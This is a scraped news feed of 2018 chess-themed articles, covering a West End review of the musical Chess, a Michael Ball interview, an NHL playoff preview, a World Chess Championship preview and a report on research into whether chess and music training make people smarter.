In 1986 Chess was supposed to be the crowning glory of ABBA songwriters Benny Andersson and Bjorn Ulvaeus and opened to huge fanfare but swiftly hit some bum notes with audiences and critics. Too operatic, too complicated, too much chess.

I Know Him So Well and One Night In Bangkok were huge hits but the show stalled as a frustrating stalemate between ambition and execution. 

32 years later, this is the first time the show has returned to London’s West End and in triumphant form thanks to a powerhouse cast, reborn original score and spectacular set design.

Did I mention that music? After endless tinkering and rewrites that satisfied nobody, the main core of the original score is restored in rapturous, goosebumping and glorious form. 

This show embraces all that was once criticised, refines it and proudly unleashes it in unapologetic and show-stopping form. 

Do not miss this bold, brash and brilliant revival. 

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This is a show that takes no prisoners and exposes any weakness in performance. There is a good reason Pity the Child is often called ‘Pity the performer.’

Surely one of the most difficult musicals throughout to sing, the intricate phrasing, irregular tempos and operatic counter-melodies require extraordinary ability to pull off.

Six blazing central performances do so with scintilating effect.

Michael Ball, unsurprising, soars but not just on the barn-storming Anthem, which has become a staple of his live shows but achives a majestic new resonance here. He brings a weary dignity to Russian grand master Segyievsky who seeks victory but finds love instead – at the cost of his family and nationality. He is spectacular in Endgame, which I have waited 30 years to see restored to its full, gut-punching glory. 

Tim Howar is the perfect counterpoint as Trumper – arrogant, swaggering and insensitive with full-throated rock vocals but bringing real pain and power to the best Pity The Child i have ever heard. 

Alexandra Burke keeps her megawatt star power just about under wraps as the discarded Svetlana, including a beautiful Someone’s Else’s Story, but also holds her own alongside the seasoned veterans in the epics group numbers.

Cassidy Janson in the ‘Elaine Paige role’ Florence is magnificent, feisty and fragile. Rich vocals throb on Heaven Help My Heart and wrend the heart on You And I where a final big screen close-up shows her tear-stained face. She is the emotion and emotional heart of the show and is flawless as the woman any man would give up his country for and then, in turn, give her up simply to bring her greatest wish.

Cedric Neal thrills as the Arbiter with beautiful range and runs while Phillip Browne is hugely impressive as the manipulatibve and merciless Molokov. 

A strong backing cast impresses throughout, even before the ENO chorus expands the vocals into sublime widescreen virtuosity. 

Chess castFrederic Aranda

Benny Andersson and Bjorn Ulvaeus’s musical is a triumph thanks in part to a powerhouse cast

Following unforgettable triumphs with Sweeney Todd and Glenn Close’s Sunset Boulevard, this is another sensationally semi-staged version from the ENO. Making a virtue of the format, it pares down a show to the lean bones which, fundamentally, form the challenging and glorious score.

The set utlises a fractured chess board backdrop of LED screens to show an Italian mountain resort, a private jet landing, Thai red light district or historical newsreels. 

The projections of real-life cold war news footage finally puts the show in a global context, rather than a tenuous link between chess and Russian-American tensions. It also allows huge close-ups of the performers that adds intimacy and scale to the biggest moments.

The Greatest Showman: Cast and real-life people

Tue, January 16, 2018

The Greatest Showman: The real-life people behind the new musical.

The Greatest Showman: Cast and characters

Twentieth Century Fox

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The Greatest Showman: Cast and characters

It is still not a perfect show. The opening always suffers from a slow-build and no big numbers until Someone Else’s Story and Anthem. First a first-timer it can challenge you to care at all.

Surprisingly, One Night In Bangkok felt slightly sluggish and underwhelming with a cast which shone so impressively everywhere else looking a tad heavy-footed. Conversely, the slightly peppy tempo on Someone Else’s Story robbed it of some of the pathos. 

The shadows of Elaine Paige, Barbara Dickson, Murray Head and the incredible Tommy Kobborg loom very large and are hard to shake on the best-known numbers. Rather than imitate or be intimidated, though, this new revival seeks to to cast its own impressive shadow.

It is still a mind-boggling concept to have a six-minute scene mid-way through the first act be a chess match with orchestral accompaniment. But oh, that music. The simple staging and an immaculate orchestra suspended above and behind the set allow you to simply listen to the exquisite beauty of the title track.

Game, set and checkmate Chess.

Chess is running at the London Coliseum until June 2.

For tickets and information go to www.eno.org/whats-on/chess

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]]> https://briefnews.eu/chess-review-michael-ball-shines-in-spine-tingling-abba-musical-revival/feed/ 0 Michael Ball discusses his exciting new theatre show, Chess at the London Coliseum https://briefnews.eu/michael-ball-discusses-his-exciting-new-theatre-show-chess-at-the-london-coliseum/ https://briefnews.eu/michael-ball-discusses-his-exciting-new-theatre-show-chess-at-the-london-coliseum/#respond Sun, 15 Apr 2018 23:51:35 +0000 http://briefnews.eu/michael-ball-discusses-his-exciting-new-theatre-show-chess-at-the-london-coliseum/

Michael Ball holding a chess pieceMARK KEHOE

Mr Ball is very excited to star in Chess

Lesser mortals would be aghast at the prospect but you can almost feel his pleasure at being so busy.

On Sundays he’ll be hosting his Radio 2 show; the rest of the week he’ll be starring in the revival of the musical Chess at the London Coliseum.

With music by Abba masterminds Benny Andersson and Bjorn Ulvaeus, and lyrics by Sir Tim Rice, the show is a love story set against the political machinations of the Cold war.

It reveals how American and Russian chess players became pawns (ho ho) of their governments during a world championship.

Being in this musical is a very big deal for Abba anorak Michael, who plays Russian Grand Master Anatoly and admits to liking Abba even when it wasn’t fashionable.

“I was obsessed,” he confesses.

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“Benny has been over to see us about the show and the first time I met him, I was a complete fanboy. We were sat in the rehearsal room and he’s there on the piano, just noodling out the hits. Incredible.”

Michael, 54, may be a veteran of the musical theatre (and a multi-platinum-selling recording artist with his sidekick Alfie Boe), but his enthusiasm is a joy to behold, particularly for Chess – which was a big hit when it was released on an album but not so much in the theatre when it launched in 1986.

“I approached the producers to be in it at the beginning of the year – I knew it was going to be on and I wondered why they hadn’t asked me.

“I had pencilled in making a solo album but I’ve always been a little bit obsessed with Chess, so I threw my hat into the ring and sort of got my hand bitten off!

“I’ve never actually seen the show on stage before. I had the record and played it to death, though.

Michael Ball playing chessMARK KEHOE

Mr Ball performed at Lord Andrew Lloyd webber’s 70th birthday celebration at Drury Lane

“They’re hard songs to sing but once you start rehearsing, you go, ‘Ah, yes, that’s Abba’. Once you’ve got those harmonies, they’re locked into you.

“And they’re the biggest songs. I’m back in Aspects of Love days (the Andrew Lloyd webber musical in which he starred), hitting those B-flats; and it’s been a while.

“I’ve been taking vocal coaching because I’ve never done a role that has required such a stretch; not just in vocal range but in vocal style.

“One minute I’m rocking out with Tim Howar (his co-star who also sings with Mike And the Mechanics) and it’s…” (he breaks into a thundering rock vocal) “then it’s all the legitimate B- flats with the chorus…

“I get a note-perfect operatic performance. And then straight down into something soft and controlled,” he says, turning all dreamy pop star.

And it’s all perfect, damn him.

Theatre talent shows through the years

Wed, November 16, 2016

As Gary Barlow launches new talent show ‘Let it Shine’ to find the stars of a Take That musical, we look at the successful musical theatre talent shows of the past.

Let it Shine - The new BBC show will see Gary Barlow looking for five young men to star in a new Take That musical

BBC

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Let it Shine – The new BBC show will see Gary Barlow looking for five young men to star in a new Take That musical

Once you’ve got those harmonies, they’re locked into you

Michael Ball

Michael’s versatility has been a big reason that he’s had such an interesting and varied career.

As well as musical theatre and presenting his own TV and radio series, he’s also been a pop star and Eurovision entrant – and one of his earliest roles was as tennis coach Malcolm Nuttall in two episodes of Coronation Street in 1985: “I remember, when I left drama school, my dad tony saying that I’d have made it when I got into the Royal Shakespeare Company and my grandma saying, ‘oh, if you ever got on to Coronation Street…’

“So in my first year, I got into the RSC with Les Misérables, and then I got into Corrie.

It was like, ‘whoah!’,” he laughs.

Michael is very close to his father, who used to harbour dreams of an acting career himself but instead found himself as a major figure in the British motor industry and a leading events producer.

Michael Ball holding a chess pieceMARK KEHOE

Mr Ball will perform alongside Alexandra Burke

“He wanted to act, and was involved in amateur dramatics, but got drawn into industry instead, yet still took the family to the theatre a lot,” he says.

“At 83, he’s still a brilliant motivational and after-dinner speaker. He used to be in a couple of bands, the Five Schmos and the Gambols, and a few years ago, I tracked down a demo record he’d made and played it on my radio show. It was great to be able to do that.”

Performing live in theatre shows like Chess and to huge arena audiences, as he does when touring with Alfie Boe, is hugely important to Michael: “It’s the only thing that brings us together, as everyone’s stuck into social media or their phones these days,” he says.

“There are fewer water-cooler moments than ever, but the next thing that will bring everyone together is the Royal wedding.

“Have you seen that gorgeous picture of Megan’s dad reading that book about the history of Britain? God love him! It will be great to have a beautiful, classy woman as part of the Royal Family – and I love Suits.

“I think the nation will just love watching Harry being happy with Megan, just as Kate makes Prince William happy.”

Michael met the princes’ mother, Diana, several times and remembers her fondly.

“She was jaw-droppingly beautiful and there was something incandescent about her. She was so funny and a bit saucy. She knew that people were excited to meet her, and she had that knack of making you feel that you were the only person she wanted to talk to.”

Michael Ball smiling MARK KEHOE

Michael’s versatility has been a big reason that he’s had such an interesting and varied career

Mr Ball performed at Lord Andrew Lloyd webber’s 70th birthday celebration at Drury Lane.

“I came on, very po-faced, with Tim Minchin playing the piano accompaniment to Love Changes Everything and singing very sincerely.

“Soon after that, the kids from Andrew’s musical School of Rock came on, shouting ‘THIS IS BORING!’, and we then went into a really punky version of Love Changes Everything.”

As I said, very versatile.

Chess runs at the London Coliseum from April 26 to June 2. Tickets from £12; details: chessthemusical.com/020 7845 9300

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]]> https://briefnews.eu/michael-ball-discusses-his-exciting-new-theatre-show-chess-at-the-london-coliseum/feed/ 0 Jets and Wild coaches prepare for chess match as playoff puck drop looms https://briefnews.eu/jets-and-wild-coaches-prepare-for-chess-match-as-playoff-puck-drop-looms/ https://briefnews.eu/jets-and-wild-coaches-prepare-for-chess-match-as-playoff-puck-drop-looms/#respond Wed, 11 Apr 2018 21:25:54 +0000 http://briefnews.eu/jets-and-wild-coaches-prepare-for-chess-match-as-playoff-puck-drop-looms/ They were fired within hours of each other by the Carolina Hurricanes and Washington Capitals. They’ve coached against each other in the American Hockey League and NHL.

Now, Winnipeg Jets coach Paul Maurice and Minnesota Wild coach Bruce Boudreau are engaged in another chess match as their teams face off against each other in the first round of the Stanley Cup playoffs.​​

“He knows me as well as I know him. I think I know the way he changes lines and what he does there, and I’m sure he knows my tendencies as well, as far as the coaching aspects goes,” Boudreau told reporters Wednesday at Bell MTS Place as both clubs prepared for Game 1 of their opening-round series (Sportsnet, 6 p.m. CT).

“If I’m not on the ball, he’ll take advantage of us.”

Maurice said every Boudreau-coached team he’s ever faced has played a quick game and he’s expecting a very straightforward approach from the Wild Wednesday night, especially because Minnesota will be playing without injured defenceman Ryan Suter.

“They do a nice job of playing a simple game. You’re going to see that,” said Maurice, adding he expects the same from his own club in the playoffs.

“The game actually gets quite a bit simpler. It gets back to just doing the basics really well,” Maurice said, noting eight or nine Jets have yet to play a single playoff game.

“The intensity on every movement increases on the ice, but the game itself is probably played in a more simple fashion.”

Watch Jets players talk about their excitement:

The Jets and the Minnesota Wild’s first-round series begins Wednesday night.1:56

Winger Patrik Laine is one of the Jets who have yet to see an NHL playoff game.

“I’ve played in big games before, so I kind of know how to play, but it’s still not going to help me, even though I played in the world juniors’ final,” he said.

Team captain Blake Wheeler said he’s looking forward to starting the series in front of a hometown crowd, especially against Winnipeg’s closest geographic neighbour in the league.

“Proximity-wise, it’s great to have these sort of matchups turn into rivalries in the playoffs. It’s really where the bad blood begins. It’s going to be a good matchup,” he said.

Minnesota Wild coach Bruce Boudreau joked he’s happy his team was invited to play Wednesday night.(Bartley Kives/CBC)

Boudreau said he’s well aware the Jets are favoured in the series, by virtue of their regular-season record.

“Well, you’d have to blind not to see it, especially on Canadian TV, everywhere,” the Minnesota coach said.

“I’m sure we know where Winnipeg stands and rightfully so — they won nine of out of 10 [at the end of the regular season]. They were second overall in the league. I can see why teams are picking them all,” he said.

“We’re here. We’re playing the game. We’re glad we’re invited to play, you know. We’ll give it our best shot.”

Follow our live coverage of the Whiteout Street Party on Wednesday from 5-5:30 p.m. CT on CBC Manitoba’s website, our Facebook page and on Twitter. Also, follow us on on Instagram at @cbcmanitoba and on Snapchat at @cbcmanitoba for the latest.

More from CBC Manitoba:

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]]> https://briefnews.eu/jets-and-wild-coaches-prepare-for-chess-match-as-playoff-puck-drop-looms/feed/ 0 The Tortured Deep-Focus Faces of Tournament Chess Players https://briefnews.eu/the-tortured-deep-focus-faces-of-tournament-chess-players/ https://briefnews.eu/the-tortured-deep-focus-faces-of-tournament-chess-players/#respond Mon, 22 Jan 2018 21:15:42 +0000 http://briefnews.eu/the-tortured-deep-focus-faces-of-tournament-chess-players/ Spanish photographer David Lloda travels the world shooting tournaments.


https://media.wired.com/photos/5a611d75f476552d660f087b/master/pass/07_20160831%20Baku%20Chess%20Olympiad%20-%20Alshaeby%20Razan%20(Jordan).jpg

]]> https://briefnews.eu/the-tortured-deep-focus-faces-of-tournament-chess-players/feed/ 0 2018 is going to be a very big year in chess as Magnus Carlsen goes for a World Championship 4-peat https://briefnews.eu/2018-is-going-to-be-a-very-big-year-in-chess-as-magnus-carlsen-goes-for-a-world-championship-4-peat/ https://briefnews.eu/2018-is-going-to-be-a-very-big-year-in-chess-as-magnus-carlsen-goes-for-a-world-championship-4-peat/#respond Mon, 08 Jan 2018 15:19:03 +0000 http://briefnews.eu/2018-is-going-to-be-a-very-big-year-in-chess-as-magnus-carlsen-goes-for-a-world-championship-4-peat/ Magnus Carlsen vs Sergey KarjakinMaria Emelianova

  • The 2018 World Chess Championship will take place in London in November.
  • Current World Champ Magnus Carlsen will take on a challenger to be decided in March in Berlin.
  • Two American players have a shot at facing Carlsen.

In 2016, Norway’s Magnus Carlsen defeated Russia’s Sergey Karjakin in a tight match held in New York to claim his third World Chess Championship title.

Carlsen, 27, will be going for the four-peat in London this November. It will be the climax of a big 2018, with the race to take on Magnus beginning in March with the Candidates Tournament.

For American chess fans, there will once again be a chance to root for the first US World Champ since Bobby Fischer. Fabiano Carunana, two-years younger than Carlsen and now the second-ranked player in the world, narrowly missed winning the previous Candidates, while Wesley So, a year younger than Caruana, has come on strong in the past few years and is currently world number six, residing just out side the 2800-rated club, at 2792 (both Carlsen and Caruana are rated above 2800).

Carlsen’s play since his WCC win in 2016 has been up-and-down. He came back on form mid-2017, but at the London Chess Classic in December he had a mediocre performance. Caruana, meanwhile, won that event, capping a recovery that pulled his world ranking back from a low of number five.

Both the Candidates and the World Chess Championship itself can be tough to handicap

Younger Carlsen challengers failed to overcome the Candidates challenge as Viswanathan Anand, a six-time WCC under the current incarnation of the title, took on Carlsen twice, losing both times.

The first bout, in 2013, saw Carlsen as the contender and Candidates winner and Anand as the champ, while the rematch found Anand as an unlikely Candidates victor; many had expected the Armenian Grandmaster Levon Aronian to rival Carlsen.

Caruana Tata SteelAlina L’Ami

Karjakin was also an unexpected challenger in 2016, although he played Carlsen to standstill in their 12-game classic battle before the match went to extra innings and Carlsen triumphed. Karjakin is now outside the world’s top ten, but as the 2016 challenger, he’s automatically included in the Candidates field.

In 2018, a lot of chess-savvy folks will be keeping an eye on Ding Liren, a Chinese GM ranked nine in the world who is leading a charge of new players from his country. As a finalist in last year’s Chess World Cup (he lost to Aronian, who will also be at the Candidates), Ding will China’s first shot at a WCC, if he can win the Candidates in Berlin.

The WCC is never without controversy

A somewhat controversial wildcard at the Candidates is 42-year-old Vladimir Kramnik, the 2000 World Champ and the choice of the WCC’s organizers. Kramnik is a top-ten player, ranked number seven and rated 2787. But both Maxime Vachier-Lagrave of France and Hikaru Nakamura of the US are also in the top-ten, yet excluded from the Candidates due to how it’s put together.

As far as the actual chess on display on 2018 goes, it could be interesting.

Levon AronianScreenshot via YouTube/St Louis Chess Club

The current lineup of candidates has spent plenty of time facing off against each other in the Carlsen era, lessening Carlsen’s early dominance through sheer exposure. This could open doors for Ding or even Shahriyar Mammadyarov, a 32-year-old Azerbaijani GM who blasted back into the top ten in 2017 and is now the number-three ranked player — and the only other member of the 2800 club.

If I were a betting man, I’d say that Aronian and Caruana have the best shots at meeting Carlsen across the board in November in London. That’s because both GMs have been close to winning the Candidates in the past, and that counts for more than just something. Caruana, in fact, told me in an interview last year that he’s learned to pace himself better after essentially running out of gas in 2016.

Aronian is 35 and in the middle phase of his career, but he won Norway Chess in 2017 in convincing fashion, in the process capturing victories over Carlsen, Kramnik, and Karjakin at a tournament that was also packed with other Candidates contenders.

The coming year could be a breakout once for big-time chess. Carlsen has cemented himself as the champ to beat, but the third cycle of the Candidates process since he won his first WCC suggests a consistent cadre of young challengers could be primed to take him on for the next decade. His 2016 WCC was no walk in the park, either, so Magnus will need to play at a high level. I for one am pretty excited about what the year has in store.

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]]> https://briefnews.eu/2018-is-going-to-be-a-very-big-year-in-chess-as-magnus-carlsen-goes-for-a-world-championship-4-peat/feed/ 0 Learning music and playing chess might not make you any smarter, according to 3 decades of research https://briefnews.eu/learning-music-and-playing-chess-might-not-make-you-any-smarter-according-to-3-decades-of-research/ https://briefnews.eu/learning-music-and-playing-chess-might-not-make-you-any-smarter-according-to-3-decades-of-research/#respond Tue, 02 Jan 2018 23:01:47 +0000 http://briefnews.eu/learning-music-and-playing-chess-might-not-make-you-any-smarter-according-to-3-decades-of-research/ playing piano practice music

  • Researchers reviewed 35 years of studies and found training your brain with activities like chess, music, or puzzles might not actually impact your intelligence. 
  • Music experts have strong memories for notes, but practicing music hasn’t shown a direct impact on improving cognitive skills outside of music.
  • Chess training seems to have only a small effect on cognitive and academic skills.
  • Doing a cognitive exercise will make you more skilled at that task, but won’t improve your intelligence overall.

Scientists achieved astonishing results when training a student with a memory training programme in a landmark experiment in 1982. After 44 weeks of practice, the student, dubbed SF, expanded his ability to remember digits from seven numbers to 82. However, this remarkable ability did not extend beyond digits — they also tried with consonants.

The study can be considered the beginning of cognitive training research, investigating how practice in areas ranging from music to chess and puzzles impacts our intelligence. So what’s the state of this research 35 years later — have scientists discovered any foolproof ways to make us smarter? We reviewed the evidence to find out.

The topic of cognitive training is still very controversial, with scientists expressing opposing views about its effectiveness. Enthusiastic claims about the effects of cognitive training programmes usually follow the publication of a single experiment reporting positive findings.

Much less attention is paid when a study reports negative results. This phenomenon is quite common in many areas of social and life sciences and often provides a biased view of a particular research field. That is why systematic reviews such as ours are essential to rule out the risk of such bias.

Making sense of conflicting evidence

In a new paper, published in Current Directions in Psychological Science, we synthesize what the reviews say about several cognitive training programmes. Our main method was meta-analysis — that is, a set of statistical techniques for estimating the true overall effect of a treatment.

To begin with, music expertise has been associated with superior memory for music material (notes on a stave). Remarkably, music experts exhibit a superior memory even when the musical material is meaningless (random notes). In the same vein, musical aptitude predicts music skills such as pitch and chord discrimination.

However, music instruction does not seem to exert any true effect on skills outside of music. Indeed, our meta-analysis shows that engaging in music has no impact on general measures of intelligence, when placebo effects are controlled for with active control groups. Music training does not affect either cognitive skills — fluid intelligence, memory, phonological processing, spatial ability and cognitive control — or academic achievement. These outcomes have been recently confirmed by other independent labs.

chessMario Tama/Getty Images

The field of chess presents an analogous pattern of findings. Chess masters’ exceptional memory for chess positions is renowned. However, to date, chess training appears to exert only a small effect on cognitive and academic skills. What’s more, almost none of the studies reporting such effects actually used a control group — suggesting that the results were mainly due to placebos (such as being excited about a new activity).

Similar results have been observed in the field of working memory training. Working memory is a cognitive system, related to short-term memory, that stores and manipulates the information necessary to solve complex cognitive tasks. Participants undergoing working memory training programmes systematically improve their performance in several working memory tasks. However, experimental groups consistently fail to show any improvement over active controls in other skills such as fluid intelligence, cognitive control or academic achievement. These findings were confirmed in three independent meta-analyses about children, adults, and the general population.

Video game training also fails to enhance cognitive function. In another recent meta-analysis, to be published in Psychological Bulletin, we show that video game players outperform non-gamers on a variety of cognitive tasks. However, when non-players take part in video game training experiments, no appreciable effect is observed in any of the outcome measures. This suggests the video game players may just have been better at those tasks to start with.

Another group of scientists also recently carried out a systematic review on general brain training programmes (often including puzzles, tasks and drills). While the researchers reported some effects, they found an inverse relationship between the size of the effects and the quality of experimental designs of training programmes. Put simply, when the experiment includes essential features such as active control groups and large samples, the benefits are very modest at best.

The problem with misinterpretation

A pervasive problem with cognitive training studies is that improved performance in isolated cognitive tasks is often seen as a proof for cognitive enhancement. This is a common misinterpretation. To provide solid evidence, it is necessary to investigate the effects of training programmes on “latent cognitive constructs” — the variables underlying the performance in a set of cognitive tasks.

crossword puzzleSteve Bardens / Getty Images

For example, working memory skill is a cognitive construct and can be measured by collecting data such as digit span. But if the training exerts an actual effect on the cognitive skill (construct) you should see the effects on many different tasks and latent factors — multiple measures of the same cognitive skill. And it is rare that these training programmes are set up to do that.

That means that, to date, cognitive training programmes do not even necessarily boost those cognitive functions that the trained tasks are supposed to involve. What is enhanced is just the ability to perform the trained task and similar tasks.

Researchers and the general public should be fully aware of the limits of benefits from training the brain. However, these negative findings shouldn’t discourage us from searching for ways to boost intelligence and other skills. We do know that our cognition is extraordinarily malleable to training. What we need now is more promising pathways to general cognitive enhancement rather than domain-specific enhancement. Our best bet for achieving that is probably by carrying out research on genetics and neuroscience.

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